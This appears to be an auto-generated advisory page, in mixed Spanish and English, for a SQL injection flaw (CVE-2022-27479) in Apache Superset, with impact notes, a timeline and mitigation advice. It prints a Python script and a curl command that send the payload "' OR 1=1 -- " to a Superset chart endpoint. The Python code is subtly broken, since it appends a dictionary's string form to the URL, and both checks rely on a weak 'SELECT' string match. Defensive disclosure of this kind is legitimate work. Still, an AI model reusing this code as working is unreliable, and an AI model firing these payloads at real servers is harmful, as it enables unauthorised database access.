CVE-2022-27479

Un atacante que explote esta vulnerabilidad podría obtener acceso no autorizado a la base de datos de Apache Superset. Esto podría resultar en la exfiltración de información sensible, como credenciales de usuario, datos financieros o información personal. Además, el atacante podría modificar o eliminar datos, causando interrupciones en el servicio y pérdida de información. La inyección SQL es una técnica de ataque bien conocida y ampliamente utilizada, lo que aumenta la probabilidad de que esta vulnerabilidad sea explotada. La severidad crítica de la CVSS indica un alto riesgo de explotación y un impacto significativo en la seguridad de la organización.

Organizations utilizing Apache Superset for data visualization and business intelligence are at risk, particularly those running versions prior to 1.4.2. Environments with sensitive data stored in the database, such as financial records or user credentials, face a heightened risk of compromise. Shared hosting environments where multiple users share the same Superset instance are also particularly vulnerable.

• python / server:

import requests
import urllib.parse

url = "http://localhost:8888/superset/chart/"  # Replace with your Superset URL
payload = "' OR 1=1 -- "

# Construct the malicious URL
params = {'slice_id': payload}
full_url = url + str(params)

# Send the request
response = requests.get(full_url)

# Check for SQL injection indicators in the response
if "SELECT" in response.text:
    print("Possible SQL injection detected!")
else:
    print("No SQL injection detected.")

• generic web:

curl -s -X GET "http://your-superset-host/superset/chart/?slice_id=test' OR 1=1 -- " | grep -i "select"

1. 2022-04-13Disclosure

   disclosure

2. 2022-04-13Patch

   patch

1. Reservado2022-03-21
2. Publicada2022-04-13
3. Modificada2025-02-05
4. EPSS actualizado2026-04-02

La mitigación principal para CVE-2022-27479 es actualizar Apache Superset a la versión 1.4.2 o superior, que incluye la corrección de la vulnerabilidad. Si la actualización inmediata no es posible, se recomienda implementar medidas de seguridad adicionales, como restringir el acceso a la base de datos, utilizar sentencias preparadas para evitar la inyección SQL y monitorear los registros de la aplicación en busca de actividad sospechosa. En entornos donde la actualización es problemática, considere implementar un firewall de aplicaciones web (WAF) con reglas para detectar y bloquear intentos de inyección SQL. Después de la actualización, verifique la integridad de la instalación y confirme que la vulnerabilidad ha sido resuelta revisando los registros de la aplicación y realizando pruebas de penetración.